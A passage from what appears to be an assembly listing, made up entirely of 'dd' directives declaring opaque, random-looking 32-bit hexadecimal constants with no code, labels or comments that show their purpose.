1BD815BDh, 895B5AE9h, 8F079AB0h, 846BE09Fh dd 7A95258Eh, 18207552h, 0EB2117DAh, 47D91E5Dh, 6F75383Bh dd 1391520h, 110E2D25h, 0F330ED6Ah, 58075210h, 788C13E9h dd 616938D2h, 0FB3C1805h, 56643135h, 0C7241C43h, 0F417C26Ch dd 9B4B80F2h, 2C7E8A43h, 7989F700h, 0E9474E0Eh, 0B32B4ACCh dd 0B64983Fh, 62112E5Ah, 5A5D1091h, 0E7C91CAAh, 0D5F1E04Bh dd 46283AD0h, 0F11345A3h, 1DE92BEFh, 0A66F96A4h, 3E097318h dd 805FF88Eh, 5C0B6DD7h, 7ADBF732h, 3BC301D5h, 0EDE95DBCh dd 0BA882B87h, 0B728F251h, 1A0E1E89h, 64C48042h, 95CFE1h dd 0B858C720h, 9D3DF4B0h, 3BDA105h, 891D0DB1h, 0D137C4DFh dd 2B5B542Bh, 88770EF7h, 0FAFE2DEEh, 26126756h, 0DEA684D3h dd 8930D998h, 4D06FAF0h, 2106FF8Ch, 1459146Dh, 99586440h dd 60FB0944h, 3192C779h dd 5551D181h, 0FFF2A6FDh, 0F364D1E6h, 0D6ACD368h, 40588940h dd 120968A6h, 31246F1Ah, 736331B7h, 19A550CCh, 0B69D7692h dd 0BCE392ACh, 0C205C2AEh, 58BA2D00h, 353B0282h, 0F72A4E75h dd 0EAC448D5h, 4ACD7DAEh, 6A72A159h, 0E05EAEF3h, 5018F3FDh dd 5C2C32F6h, 0CA6D2E27h, 90E989E3h, 82BB4C60h, 9D0EFB12h dd 39A44161h, 21D0F601h, 14B82000h, 389F7165h, 3C8782A0h dd 8B134BDAh, 0D4CAA922h, 0DE921609h, 65AEF561h, 0CAEA85C3h dd 0F541C984h, 5C801A6Ah, 14AD6510h, 80E2C495h, 95744CD5h dd 8CCA45F9h, 9489107Bh, 13EE5AD3h, 3E9FBB52h, 0DD415025h dd 0B962A683h, 0F0279D1Bh, 5BD528C0h, 39CCC07Dh, 294ADD0Fh dd 0E4608A81h, 0BF77317Eh, 13D36FD7h, 1628F0C6h, 0F35B5F25h dd 7B8750A6h, 11E02018h, 69570B26h, 885FAE97h, 291F089Bh dd 0E9C068AFh, 955D98F7h, 73D1E01Bh, 73D32D5h, 26D008E1h dd 3B4359B3h, 662C823h, 6C7FF12Ch, 1341A1B7h, 0D881AE04h dd 777F0F76h, 12ADBEF2h, 281B4816h, 0EFC38660h, 5FC264B1h dd 6917015Fh, 34315735h, 22E488F5h, 2B2D1300h, 0E92CA220h dd 3CCC600Bh, 0AD59F2BFh, 0D968690Bh, 0E93B186Bh, 16F4BC93h dd 50DDF4B8h, 65E8D290h, 0CB6A0983h, 19D0F10Ch, 854B6706h dd 80EA317Bh, 0F2204D83h, 82ACA26Ah, 0E353DE67h, 0A05B9777h dd 0D4EAF67Bh, 0B0274E8Bh, 0E001D165h, 5CEF135h, 0B47B093Bh dd 61230A0h, 0C2AFA936h, 177C14E7h, 7582FF47h, 55226441h dd 97309FB9h, 25A1B4AAh, 45B724F8h, 0F3668074h, 0F831357Eh dd 173FCD97h, 7822A3F0h, 792F2725h, 0ADE9419Eh, 1B392B58h dd 0A9FA32Bh, 0EB72FD68h, 0A2EE18Ch, 0B22C5E31h, 0C2EF3454h dd 3C6EE6BBh, 0ABEC4A56h, 6ADCA5F4h, 0B540CE88h, 96570C62h dd 9DFB9847h, 2CA5190Eh, 6730AED6h, 4C2F7AB8h, 0FD5A453Ch dd 2D3D5924h, 0D1C62BFDh, 68590285h, 0D3DC61F2h, 0DE02B1CAh dd 403E5830h, 67065EEh, 0E2C1174Eh, 6490607h, 0D7A009FAh dd 0BF3A702Bh, 8F763E8Bh, 95264452h, 309B0670h, 4A434F17h dd 202CEA80h, 0E7051C06h, 885AD530h, 9CB72A0h, 0BA76820h dd 4D201446h, 0B4F778C3h, 997BD31h, 0C7E32C6Bh, 0FA7F9C05h dd 9DFD57A7h, 49EB484h, 30A9C368h, 32C8D327h, 7014C9F6h dd 58A3D05h, 168B0B06h, 4038108h, 0C34F2595h, 0A3E4BBECh dd 0B75E104Ah, 37EA3860h, 0BB046CCDh, 0C23C508Ch, 0FD3E3C0h dd 29762E2Bh, 0B608A02Dh, 5BFE0252h, 9BFD62F6h, 0A1260570h dd 0E86C2856h, 3C7C059Fh, 8AC6E97Eh, 0A595C26h, 2D2EEE06h dd 0CE7F1669h, 1096A82Fh, 4F6168DEh, 0AF353142h, 60F6DB3Ah dd 2F207C01h, 4F8F6813h, 29C5302Ah, 46086939h, 19BCE9h dd 8058C128h, 2C393AF1h, 0DCCE27D3h, 0FC763199h, 4C26AFCBh dd 6BF10198h, 87E967D5h, 0C3D781F8h, 11DA65B9h, 12CB943Eh dd 189C0908h, 0C82A1A30h, 1BF10D7h, 0FB0B9A11h, 2B6C316Ch dd 31BA1813h, 4EF7632h, 0A62B84C9h, 94D21509h, 0AB26508Bh dd 0B15833A9h, 0EC321A25h, 2F26B601h, 0FD59304h, 2F7B318Ah dd 0F536C78h, 103493BDh, 12AEC3B4h, 0E056A46Dh, 66E881ECh dd 3AA9701Dh, 5A938BBCh, 25D4FEEBh, 0C265DB79h, 0FF4E29ECh dd 0F8EBB24Bh, 5ACE39F9h, 0C09B02F6h, 0B3E903EEh, 0FE9D29D8h dd 25AB78AAh, 6ACE17C0h, 95475519h, 3050DE19h, 0D48AD36Eh dd 4D9E9D9h, 0E0A1CC2h, 46D3E2A6h, 7A54F63Fh, 0FE0B2EBCh dd 0F2F8660Fh, 87436077h, 3B9906F6h, 0BECEF89Dh, 207E25DBh dd 24987E6Bh, 6336006Fh, 0F6E9075Eh, 0D02FDFB4h, 2D5B0389h dd 4C7C2BD3h, 0EB49C9F2h, 26D72A89h, 98FE8FB4h, 21287F7Bh dd 1CB41201h, 3BBF5700h, 977A484Ah, 0B8A47DDCh, 1EE6D212h dd 0ED6B9112h, 868A042h, 4B1ABF30h, 5D167E44h, 0D4BEEA01h dd 337DAB80h, 7DE4AC02h, 0CCC56B44h, 8B3A131h, 0B2189F58h dd 5DF1430Ch, 3C575F04h, 79BCE1C1h, 6363507h, 8CF9E46h dd 915B423Fh, 0E05F6539h, 82F270B1h, 0C8804558h, 1BE45B8Bh dd 0BA050B90h, 46564D73h, 880FE85h, 0E64CC89Ch, 806CB731h dd 0F955AEB0h, 0B1A67E95h, 1578FF8Bh, 6710BA07h, 96A21E8Ch dd 0CC0E4D6h, 1CB60622h, 5A7ED87Ch, 0BB536901h, 79E32A26h dd 7D58ED3Fh, 0F218CB12h, 8F05AEF9h, 0FA50C05Fh, 44C57597h dd 4F5E0C23h, 0BE38981Bh, 0E44AFA06h, 71392938h, 0BD969F5Eh dd 1CB74076h, 5F5DB09Eh, 15178A9Bh, 84E727DBh, 0F117D7ACh dd 7DD680E3h, 29F18D59h, 0D462CBDEh, 4B95C2FBh, 74A0768Eh dd 8808776Fh, 0C8540173h, 0FF5A160Ch, 274E1B70h, 0D7716006h dd 11CAEE9h, 0F61758B3h, 0F9D713A9h, 54CD054Bh, 8701025Fh dd 40383BC5h, 0C67CA23Bh, 97BF44E9h, 621C9B5Ch, 5D486645h dd 8F8E38F9h, 8172FBD3h, 9F45445h, 0B3895750h, 69699D8h dd 0BA46E9D0h, 0EC800001h, 58E730B6h, 9798D7F6h, 4BD45352h dd 5F2B05F5h, 9E20FDA3h, 2FC0E495h, 0DD56679Fh, 9BDEF378h dd 5456091Dh, 57537A30h, 0A745683Ah, 9F716021h, 0C7308019h dd 5E3D5CB1h, 0E67E27B1h, 11367CEAh, 798AE99Dh, 0E542C56h dd 69ABC1CFh, 0B8EAEBBEh, 999423F8h, 312A6D88h, 3AECD874h dd 1151B3D1h, 0D3D9E804h, 3C439841h, 62EB494Ch, 87B66E42h dd 55EC29F2h, 17ACEF5Ah, 95102A7Dh, 675C9DBAh, 64424C93h dd 9004CD68h, 24033B53h, 17EF3D22h, 0F79F401Ah, 4016290Bh dd 4597F8F0h, 8E7A3CFh, 0D1092EBCh, 363A01EDh, 4021F24Bh dd 4C7C33E0h, 587D43B3h, 71728F5h, 7904BA97h, 61C2DF89h dd 8E7234Bh, 38318CC1h, 4231F498h, 0CF6A02C2h, 31EB4B92h dd 0D0763Eh, 0F0F70159h, 0F9BE48D6h, 42B301A4h, 30218E32h dd 6813A2B4h, 0C313206Eh, 9DEFAF25h, 0E13AF448h, 0CABE10D2h dd 0C145CB06h, 0DE834B23h, 0D5E461BFh, 6E54FDE1h, 8B9DD0B3h dd 0E35902C1h, 3528E985h, 0DE4CF095h, 288DF07h, 0A9B159EFh dd 9AECF930h, 4503F5B0h, 0F608E1C0h, 0A0C1C0D9h, 0F48A20E9h dd 69B05000h, 0BC0C7104h, 0C592D652h, 0CF500CE9h, 4459CAFDh dd 0FA00D29Dh, 41356385h, 0EE4BD1h, 143B5D7Ah, 404EE5E9h dd 57D4A6FDh, 26B5804h, 0A4C0FA52h, 589DED3Dh, 0B97AFEDBh dd 0D06492ECh, 0D7253101h, 0CF012805h, 803BD55h, 45DEF29h dd 9D44FB12h, 2234127Bh, 0C52F83BBh, 0BC67BFBCh, 0FFD5ECA2h dd 575E72B8h, 2AE7EFFEh, 33558501h, 107F5064h, 292F07C9h dd 5B4858F8h, 174CDE4Ch, 7F2010C7h, 0E31949EAh, 0C57C5C27h dd 0E6D7F4Fh, 0CF2FA5B2h, 3093CFEFh, 9DBE1D21h, 408D1760h dd 3EF60246h, 1861F24Dh, 6F007E6Fh, 0C7FEDFF6h, 0CB43E50h dd 5DC29125h, 5EF34ED5h, 0E8529002h, 0BA0A5253h, 9D6A3D60h dd 0F6930BBAh, 0EE0AD799h, 97D31595h, 16A1DA26h, 0F6602262h dd 0FF51AB57h, 26C86D29h, 2A303C25h, 2FBA0C45h, 0D0145BBCh dd 0AF21EA87h, 4AF1665Ah, 0A4B20704h, 45A96882h, 20AE4DDFh dd 14B84DBBh, 8264C04Ch, 71388703h, 2BAAD5CEh, 7E508580h dd 0C5EABD75h, 0DCC0080Dh, 9133729Ah, 0A1560C55h, 947F3911h dd 6808028Ch, 985D4471h, 12E290Dh, 0C583415Ah, 2BF74DFFh dd 4D9DA2E0h, 29507B32h, 1162DEBh, 0B509BA72h, 0EDC0CDh dd 0E9EEB273h, 0F3F84D67h, 0E514DE48h, 7E601ED8h, 90F05924h dd 0E60190B9h, 62891083h, 0D9D0E8A5h, 77BE8416h, 5A3145EAh dd 0A1AAB8B6h, 30F8D821h dd 0BA33B510h, 207637DAh, 3410762h, 0B5B9D0F7h, 4B512D18h dd 758100BAh, 0BF13C87Bh, 8D362904h, 81FA316Fh, 35CD0423h dd 0B8813B3Fh, 108F21DDh, 8FCBF828h, 421D3654h, 2C146799h dd 0EE3AD6D3h, 0FE87D26Fh, 8F09704h, 5CFF22AAh, 25B32F7h dd 279E2B2h, 0FBF6348Ah, 0EE30A667h, 0DCF1289Ch, 5E012884h dd 0BC2485C8h, 68AD056Dh, 0D3AC241Ah, 360B90C0h, 2CC72943h dd 0C2CED305h, 0F6B1E913h, 0E1CE3DF7h, 0C2BA61DBh, 425DF3D8h dd 5AFC4EFFh, 1DA901A5h, 0CC1FA84Ah, 145BE942h, 9941E0BDh dd 0A9605B21h, 4E063D10h, 0AF72A063h, 0AFCE3F3Bh, 0C1350123h dd 32B04E3h, 0A93652BDh, 0D829EAB1h, 7A9D1644h, 4A088271h dd 0BACFFDF0h, 0CE905725h, 8982CCF4h, 333C7FADh, 0C9EF71B7h dd 0C6E23A74h, 302D0045h, 6858BE52h, 38FF4FAFh, 774BF3C5h dd 9C57CCCCh, 2DEA4E23h, 0AE128B15h, 0B3E86E8h, 71AC4B7h dd 0AB0675B8h, 1B7AD671h, 570F2E98h, 642A0929h, 9AAE1FD1h dd 56E521Eh, 47762526h, 0F01A4C90h, 16BF7B68h, 0DDE860Bh dd 413A1579h, 3FAAA35Ah, 41F06ACCh, 7C842F4Bh, 0C7A05AC2h dd 4A76BFDDh, 0BF8C40A8h, 667F2A4Ch, 1268B80Eh, 0D1EC37EFh dd 0D29C05Ah, 542D36AEh, 92C6FC7Bh, 0BAC981B5h, 81D7782Ch dd 7D9A76D0h, 181D0D20h, 1808587Bh, 9D2E1FF8h, 314C741h dd 7661818Dh, 46EC0F28h, 0F86BE1CFh, 9FE9F052h, 0E517C0E1h dd 31917510h, 74CD872Dh, 40CB121Ah, 6C4CBBDEh, 57905144h dd 0AD54D8B0h, 0BC9654C5h, 66F30452h, 0A7AA17AEh, 68CFC407h dd 86DE5909h, 950BDC2h, 93DA7E82h, 439C5F09h, 50775495h dd 10DD7D05h, 0AC6E5801h, 50D69743h, 0ADE09D71h, 41BCFB01h dd 0A351557Ah, 0CBF8FE4Bh, 78098101h, 0E9EF2033h, 0F3D4C12Dh dd 25682DE9h, 6E7B5EEDh, 2A3910BFh, 52AABC6h, 4247584Ah dd 0E6A58030h, 0F59FC64h, 0D6E91775h, 0BE687E81h, 0BD24492Fh dd 53F15DC8h, 0A26D5A09h, 976C8801h, 2DF90508h, 0F38854FCh dd 45B126CAh, 1695E8D9h, 50FCF1E1h, 6C6E62D9h, 0AB71C4D9h dd 8A188114h, 13F37584h, 8AB1382Eh, 5C06A909h, 0B6BE5019h dd 61584972h, 0F7060CDBh, 0BA08D0DEh, 99C63D1Eh, 297DB285h dd 4E0BCBF0h, 60B72EABh, 436851A6h, 2C5F2D1Eh, 0FCB91525h dd 2FF34C0Fh, 9F65F158h, 0E090D654h, 7BB55D3Bh, 0BD688409h dd 1090E311h, 834C4958h, 74D9B84Eh, 2E7C113h, 75D02907h dd 0F9C43AB4h, 0A82ECC99h, 0B3BEB5DEh, 95922221h, 0F9B5ADCCh dd 5ABC0CDCh, 0FD25882Ah, 33F20F5Bh, 0F0C24F92h, 0C1EA9E7Eh dd 89603968h, 68517061h, 5CD101DAh, 405EA5E0h, 15CFEF52h dd 0BCDE4A7Bh, 5A08C714h, 697AC899h, 17916A40h, 0D83BBDF3h dd 3ABF293Ah, 79AAC4C7h, 0B745E019h, 0AF940F70h, 2E5C184h dd 0DE0191BAh, 0FE97483Ch, 60B55312h, 9D0493BCh, 0C588B4D4h dd 0DA8A0427h, 750EE45h, 6A555008h, 0CE938260h, 0F43DA71Eh dd 0C99EFAh, 4589CA81h, 3F6361Dh, 6082E56Ch, 0DFBD0455h dd 0EE5F9A0Ch, 4C996CA0h, 0D3A65ACEh, 0C1C0479Eh, 907A0F1Bh dd 1FF1A077h, 0AC3AE1FFh, 233F22Fh, 887873E9h, 2E6CBA05h dd 3A002CBh, 0C27ABE08h, 5F059F4Fh, 7D800909h, 9E689368h dd 26F61C1Fh, 13DB810Eh, 6893D8EBh, 7F7CA969h, 583F28EEh dd 665AAD55h, 78BA003Ch, 0E9112D02h, 1AC0E2CAh, 1870B1BDh dd 595B9D07h, 0E50110ACh, 77AB65F4h, 5848CE40h, 0F73E13EAh dd 0A7F8A8DDh, 0B7EE7BBBh, 2771B034h, 0EF480129h, 2E388472h dd 36D1BE13h, 7B805944h, 6FB951EAh, 100E4121h, 0DF55C981h dd 0FDF16BD7h, 0E4D98E7h, 93184C15h, 0C04F2A04h, 3FAFE8C6h dd 13F2975Dh, 270E38ADh, 12FE4314h, 0BF8035DDh, 5BC4348Ch dd 0AC1628E8h, 0B9380343h, 0AC4F0238h, 9DAAD311h, 96B26377h dd 0A473DBEh, 33E9049Eh, 0D6B80109h, 53708689h, 622ABB00h dd 0D921133Eh, 0EDF4C15Bh, 6A617E75h, 0EA0506F2h, 0E873E55Eh dd 0D025787Ah, 0B56764C0h, 0BAADD153h, 5153556Dh, 6007D9CBh dd 55294F63h, 5E3BAF90h, 17C873Ah, 0D829E9EEh, 0A05C654Fh dd 0A7DC1A04h, 651D6540h, 4AD85CC1h, 18816E67h, 10130558h dd 3E09D951h, 0DCA9AD87h, 8B1C2CBh, 67F5EBA0h, 395B0B45h dd 3AC760E4h, 2D896518h, 0A921A6E9h, 0E050C330h, 0FDB15CEFh dd 1CBD5A4h, 0F6713DB3h, 886BB547h, 0E90508C1h, 23A4415Eh dd 742524B1h, 3F47833Eh, 0A4A97304h, 765C3E79h, 1877484h dd 0CBBFEF85h, 39AE4E57h, 273076D7h, 7786420Bh, 20AEDC60h dd 302FC139h, 97CF7CEFh, 9A285029h, 2D9318F7h, 9EED0CBFh dd 1513113h, 6E856C56h, 30D2F7BEh, 0D828B1D2h, 251C792Ch dd 0B752CA11h, 0AD5EF23Ch, 688E8746h, 41842911h, 73BCD9FBh dd 0EDC12885h, 0D2C10107h, 8246F21Dh, 57A4BE7Eh, 40E5E30h dd 8AAAE9h, 0B1515266h, 0E3B212CAh, 17D01C28h, 0C60CBAD0h dd 0E804880Eh, 0B2520951h, 55FFE27h, 0C1FF290Ch, 3AE353D9h dd 0CEE5F30h, 0B429401h, 719BFA3Bh, 47D43FF2h, 74CDB00Bh dd 0ACFE423Ah, 0F188C20Eh, 2493755Ah, 2AC655F1h, 523F31E2h dd 1C995D19h, 87B86E5Ah, 7D9DF603h, 7E20471Ch, 0AC665B05h dd 6838D882h, 0B3BB8080h, 454C1B72h, 56E2023Dh, 77317246h dd 0ED952850h, 41FF288Ch, 51B63314h, 7339EC47h, 0B4E9180Bh dd 0CF7A79CDh, 0EA1C32C4h, 8D87241h, 0D2436C30h, 10D13DCh dd 0B636AFEBh, 5768168Fh, 0C3B7AC65h, 92C6CE9h, 19E1ED7Dh dd 0C4AE1309h, 0F55B0854h, 77B54377h, 9BF8B4Ah, 0F9CC6AACh dd 0F6E38816h, 0AB6A12FFh, 95B36A03h, 0E961BF08h, 0DC2A8BDDh dd 0F84A0159h, 315B51F7h, 2E90804Dh, 5B0D4231h, 57D6BA00h dd 31266D04h, 84C45AD1h, 0C8D81205h, 8E49F552h, 0E1054941h dd 2870E90h, 107CF5BFh, 3F3B7E34h, 3A93C5BFh, 0B531AFF3h dd 8C310D49h, 0E722D9FDh, 0E02F00D2h, 297A6222h, 58040195h dd 8D2A4C01h, 0E9110141h, 9A86C79h, 4634E668h, 1D26204Fh dd 86B15B4Fh, 0DC4AB32Fh, 9002378Bh, 2F63CE80h, 84807E1Eh dd 0EDB5DADh, 8E061B7h, 3C51E20h, 0E9279D50h, 3902D5CEh dd 0E629D8E2h, 80A75E06h, 214EC4F2h, 9D20E925h, 215C4CF1h dd 94F5DB25h, 5A8EB654h, 4A51A75h, 800399D4h, 27C10BEEh dd 0F8276BCDh, 0FC0E8882h, 256BEF2Dh, 0B214F8E2h, 0F919A60Bh dd 0E9EF8109h, 27833A22h, 764CBEF5h, 0C912C2FDh, 39C146F5h dd 2E7C5352h, 8F7C8D1Fh, 825255B9h, 8E40F55Ah, 3A943FD0h dd 1BFA6307h, 4B71CDC0h, 5D50B7BAh, 0BB4FF902h, 85F5315Fh dd 28EACED2h, 5A40474Eh, 33BB0353h, 1772E69h, 608FA811h dd 0CB41C31Ch, 0DD04BA23h, 4D44EAABh, 1D1F7B57h, 0DF88F6Fh dd 0BA665944h, 257797CCh, 0F5F85560h, 9F572540h, 0DADE848h dd 14173B24h, 0E475902h, 0A5A1E07Ch, 60D3047Bh, 91DAAEE9h dd 38616339h, 3365C6ACh, 99BF074Fh, 6C61E732h, 3187375h dd 0B1A40EF9h, 2F5881ACh, 0C6CDA8A1h, 0A23605DBh, 0BAFCA9E1h dd 0F3C21C90h, 1EDF2741h, 0EA14DB74h, 6BC25508h, 0B0E8980Bh dd 17F4BBC8h, 0FE232679h, 55D4A70h, 6B6202ADh, 0EC2686Ah dd 48191877h, 36EC202Ch, 5D79E2B7h, 22C67B9h, 0AA12D5E5h dd 3995D85Fh, 0EE069FF2h, 0E4D101FEh, 76F9E120h, 12104BC3h dd 2C9F868h, 0EB80E328h, 7F31C20Ah, 0A0449D59h, 50DEBCh dd 35181D0Fh, 0DC25BE65h dd 7D0E58C4h, 0C03B304Ah, 0D314E4EFh, 9BE91777h, 2472BB0Bh dd 0C2FD10D2h, 5BCC7E9Dh, 0A7A02BF2h, 9C595FBEh, 1FE89D59h dd 2FD7EA29h, 95801F84h, 0B0B551D8h, 508C27EAh, 105387Bh dd 1DD95BDAh, 0C68AE47h, 3BC619B4h, 0DE9D889Ah, 2B962CEh dd 25F2F071h, 4E83EFF6h, 0E97A0B5Fh, 50A5D91Eh, 0E2B201C3h dd 7A2D6866h, 0DAB47D21h, 824E1670h, 0E224E17Fh, 0A8EA99D3h dd 0ECBFC47Fh, 4268C2C1h, 80E45176h, 4FC05B8Ah, 160CF181h dd 0AE7A3421h, 0C97B26B8h, 0CDE109A8h, 0CA751B77h, 3809D7C0h dd 5C701C7Fh, 0E2329056h, 18419634h, 0A1282C8Dh, 0C40437ECh dd 13BAF847h, 38ABEE83h, 0B74AE9E4h, 57597602h, 6709C8F7h dd 0C659C0EFh, 15807A4Fh, 0E8E6C137h, 95DDBF2h, 0AB8F16E2h dd 338F185Fh, 3F1FDFEBh, 0D35F634Eh, 0FA96624Bh, 2F7C3A4Dh dd 3FBFBC5Bh, 9242D35h, 793D7E4Bh, 0C193B51h, 90415EF0h dd 4074B12Ah, 17321268h, 0F646A1DDh, 690E5A63h, 92734EBAh dd 0BF0293F0h, 7A5F6186h, 581CEF67h, 3031D6FBh, 579AF714h dd 0F1D7D1FFh, 35FFF183h, 8D987A74h, 0FB5B4BDFh, 0BFD1FC31h dd 0D5F71C81h, 7107E5C1h, 2D4C6CF6h, 502DF45Bh, 352ED2E6h dd 0EE00DB1Eh, 0B49CCE22h, 66240B2Dh, 705C1682h, 670CA409h dd 0E133F85h, 4ECFB7E8h, 0FB4AC7ACh, 12EFB012h, 32D10095h dd 4123DA47h, 0F892E92Dh, 535B97C6h, 3873F869h, 0EF4B6014h dd 4562B33Dh, 8F4752D2h, 1283203Bh, 0E6522768h, 5E44800h dd 0FAE0D47h, 6094F1BEh, 0FD09CF09h, 0A261502Eh, 0D8C51260h dd 517809BBh, 2D5CD81Fh, 0FAC4FC2Fh, 99B5966Ch, 0E32F011Fh dd 1C87849Ch, 0FB4F74FBh, 4FA405B0h, 0B86E3045h, 71687F07h dd 0D263F284h, 6801C083h, 0CC2C4A96h, 647ECF04h, 939074B8h dd 88F1072Eh, 625E7D40h, 9BE0B73Fh, 6925E093h, 0E72D78F3h dd 0C77529D6h, 0C680453h, 975AEB3Fh, 0BB13400Bh, 0F7EDCFA5h dd 23FD94A9h, 0F95B52E3h, 1E89DD9Fh, 16DDCF29h, 0EED39DA9h dd 45E02713h, 2DF80301h, 53677D88h, 253469A8h, 0BD552200h dd 7FF237A6h, 0AFC50981h, 5082ADE7h, 4CDFFBB0h, 4DE8F489h dd 8650549Ch, 5F782494h, 91202E7h, 0EA7943DDh, 1C45BE81h dd 853E908Ah, 3F5F1C5Eh, 29263D84h, 2D084FEh, 0A3E2E908h dd 68671354h, 0BB93E54h, 14EC97h, 351AB65Eh, 17026E6Ch dd 8296E967h, 0DD745463h, 76A28645h, 1986A84Ah, 0D8C9B40Bh dd 0B1E8D5EDh, 8A889778h, 0F8281794h, 83C0B435h, 0F9C76826h dd 0B700AD23h, 0E9272CD1h, 7CC2C442h, 4005E2C1h, 27D9FE29h dd 52E0A48Ch, 21B53EE9h, 1DB3ED3Eh, 0B8F328DDh, 2730E0EBh dd 5FFC3BE8h, 5D0508A0h, 487F6852h, 0C128036h, 357A1A47h dd 1F943156h, 0AD375925h, 45414930h, 0BC6D1628h, 6C307A01h dd 75FBE910h, 71EF8F87h, 0AB2AD579h, 80449F1h, 0E89B21AFh dd 59DE93BEh, 3047CABAh, 0CA801FC8h, 96BAF0EFh, 72680091h dd 5832C508h, 16E1255Ch, 0C1AE5F17h, 6FEB9B1Ah, 994B40D4h dd 2DBB56C8h, 3F2D1770h, 51107CD5h, 40DF6C74h, 6CB9CD6h dd 877604F2h, 1FEFD598h, 0CD223744h, 7E9745Ah, 0AC457090h dd 0DE985E70h, 0ADE90780h, 970DE6BFh, 2ACA12D9h, 0EC107342h dd 4CF80B11h, 0A521694Ah, 508DE6E9h, 7A0FE139h, 285D4E3Ch dd 5B4007EDh, 488D908Fh, 0C207B821h, 0C0401E18h, 4D3DF0E5h dd 74E9493Bh, 46C34DC0h, 0F6FA0E8Bh, 41784BFEh, 83268719h dd 56063Dh, 0A454BF30h, 295A5879h, 32205F2Fh, 0C227D4E4h dd 9071E431h, 17208E9Dh, 9855685Dh, 0E025F06h, 0A6E9422Ch dd 5B1BA4BDh, 2DAB3C94h, 0D43517EEh, 805609DFh, 56CFA36h dd 53AD62Eh, 8A35623Eh, 9C512F6Eh, 4B12B725h, 0E87D5955h dd 79DD02AAh, 6A773513h, 1080B80h, 5B596843h, 66F3336Ah dd 2B1E7FE9h, 0E23AE429h, 0F9A90CF1h, 5FA6CEF3h, 7A7AE6D3h dd 0C9C2CD4Bh, 0F0FBF65Bh, 626B0CE9h, 0F000D7D7h, 1D3D3F2Bh dd 0EB5DF4FAh, 2FD65D95h, 7B1C5F7Bh, 95A158BFh, 3020E834h dd 29BD0423h, 0E02F0C7Dh, 4B14165Dh, 4B06392h, 6F28688Ch dd 6C6B81ABh, 0A8872F4Dh, 3D9457B9h, 0DAEA812Dh, 0E60CC0B9h dd 112D253h, 5CE9CA16h, 844722E1h, 0FF7D3472h, 3D8F39A3h dd 99EB9F00h, 686BB610h, 0C199BC30h, 70734CA3h, 5402C309h dd 0E9453344h, 9D73F018h, 0E075EA92h, 8C7C4DDEh, 0D281E913h dd 466736C0h, 2A30F53Ah, 104D182Ah, 4FD9B071h, 0E977D10Bh dd 5AF260A0h, 1CD42D68h, 7A7267FEh, 45E9252Dh, 21806389h dd 9437C168h, 3231589Fh, 0EDDD8ABFh, 6B442F5Dh, 68632088h dd 7A4F18B4h, 9E3324Ah, 4FD45C14h, 7DFAFC89h, 7A649A99h dd 2BAEF417h, 31AA4B3Eh, 3A5FFD0Dh, 0F58B8C98h, 250EA36Bh dd 99CC1EFh, 0FB646Bh, 0C8022B92h, 82970122h, 93F4969h dd 0F9B49784h, 600B0747h, 4DA26A3Ch, 62F7FCC4h, 0C347C9DAh dd 0FD12DBFh, 0DEA7DE1Bh, 6A35D3C7h, 0CAFB2AEFh, 1B257D59h dd 3AE4E63Ch, 21B7C8Ah, 0BEA4F088h, 11F4B265h, 7AA141E3h dd 0E40F6C5h, 0BF783605h, 51E8E229h, 9903072Dh, 81EB4A08h dd 15A793Eh, 0DB30BA52h, 831C1467h, 973CFEAh, 7CA22130h dd 3797C180h, 437D0344h, 0FDFCB00h, 59E9624Ah, 3050C7F9h dd 0AC5874E5h, 0F3211FF2h, 0A10CFD8Ah, 7008DE6Bh, 74496856h dd 21E9091Ah, 0F519A430h, 3987DC80h, 0B93A4ECEh, 0D3E541B4h dd 0C87203D1h, 28F4CD01h, 8FE684B7h, 8418A2EBh, 917BAEDh dd 0B876962Fh, 0D4B1D525h, 7807F95Fh, 4C8B59ACh, 208E123h dd 0AC53D02Eh, 7BF3E332h, 65A99C0h, 4EDFE2E9h, 50D4B4AAh dd 0AE27317h, 5F05FDE2h, 0F92F1D68h, 1A8B9E66h, 98EC3332h dd 606C7F54h, 1C936A45h, 0F7EE1527h, 1604DD6Dh, 8258C802h dd 48AD87FBh, 9B5CBBC3h, 0F81B2717h, 56B72A2Fh, 0AAF7818Bh dd 21345803h, 7BEAF602h, 3F34165Ah, 0CBAE4838h, 42445A6Dh dd 74BEDA86h, 74DFFB5Dh, 0E9CC454Ah, 2ADECD9h, 6A182D35h dd 2D5D5E48h, 0C11802F7h, 0E96577D4h, 302D7108h, 1625C62h dd 6C70E25Ah, 0A6693868h, 319BB5B1h, 7F5D9BF0h, 25F23856h dd 0C1C5C949h, 0D3DF0438h, 10CFA2EBh, 5601AF1Ah, 901710BEh dd 0F9A2EC0Fh, 34B01994h, 0B4555766h, 68206FDDh, 0D2E96FEDh dd 4C2488BEh, 609B35C0h, 0C13B48C5h, 0F3507F02h, 6A98293Fh dd 37137E05h, 0D70423D2h, 0E6E07FE9h, 9802ECC0h, 0E4C35F65h dd 0F65634B6h, 5D267B33h, 43C2C2F9h, 188C52C6h, 3C6A1E65h dd 75826395h, 0E2FC59Ch, 6167E4AEh, 0D2CC1E5Ah, 0D2DDFA1Ah dd 93ED9F05h, 9E387FA7h, 9BF69F73h, 2C1A529Fh, 5208F82Ch dd 0A6CCB057h, 9F7B247h, 22B115CCh, 3793DD06h, 3E5AC107h dd 836F117Fh, 0A43159FEh, 9E4181FCh, 12AF2830h, 95CCE5Dh dd 7FD91C9Dh, 4D54ED82h, 0D52D4058h, 88142DE9h, 0E299CBC6h dd 0EB00511Dh, 0B6E95536h, 5CC2E1A2h, 53BC5B70h, 50C954B8h dd 0B57F487Dh, 0B1D6B7A1h, 52F41D3Ah, 68AAE2D6h, 54557EB3h dd 991E3F58h, 0F9CD50CBh, 0D5123C63h, 97FCE84Fh, 7BF9457h dd 3AB85003h, 0DC62A728h, 545C4EF5h, 30E95B74h, 0C551A705h dd 0D3285AC6h, 3703963Ah, 2940D823h, 81C40CDh, 0B2FF9E9h dd 94FF5964h, 94C6FE4Ah, 0ADFE2DECh, 0ABB0F109h, 9A202C1h dd 0C1500436h, 0B80FDEh, 5C2DCA81h, 0C60C26Eh, 32CB56A6h dd 9E41AA96h, 54EAA168h dd 0E9923073h, 6E9F8262h, 0E758973Fh, 60B04892h, 0BB60FE60h dd 0A62AEBh, 4DBD5533h, 0F7395D5Eh, 8202D551h, 8527A8F0h dd 82BAC1A1h, 84EE6144h, 0B09DEC7Ah, 0A28637F3h, 5899A0F9h dd 0B2CC44E9h, 0E75A0BD1h, 897DE8FBh, 0E6215AB5h, 0BD7E1076h dd 0BDC062Ah, 90C445Ah, 9297F60Fh, 480544F5h, 958BF05Ch dd 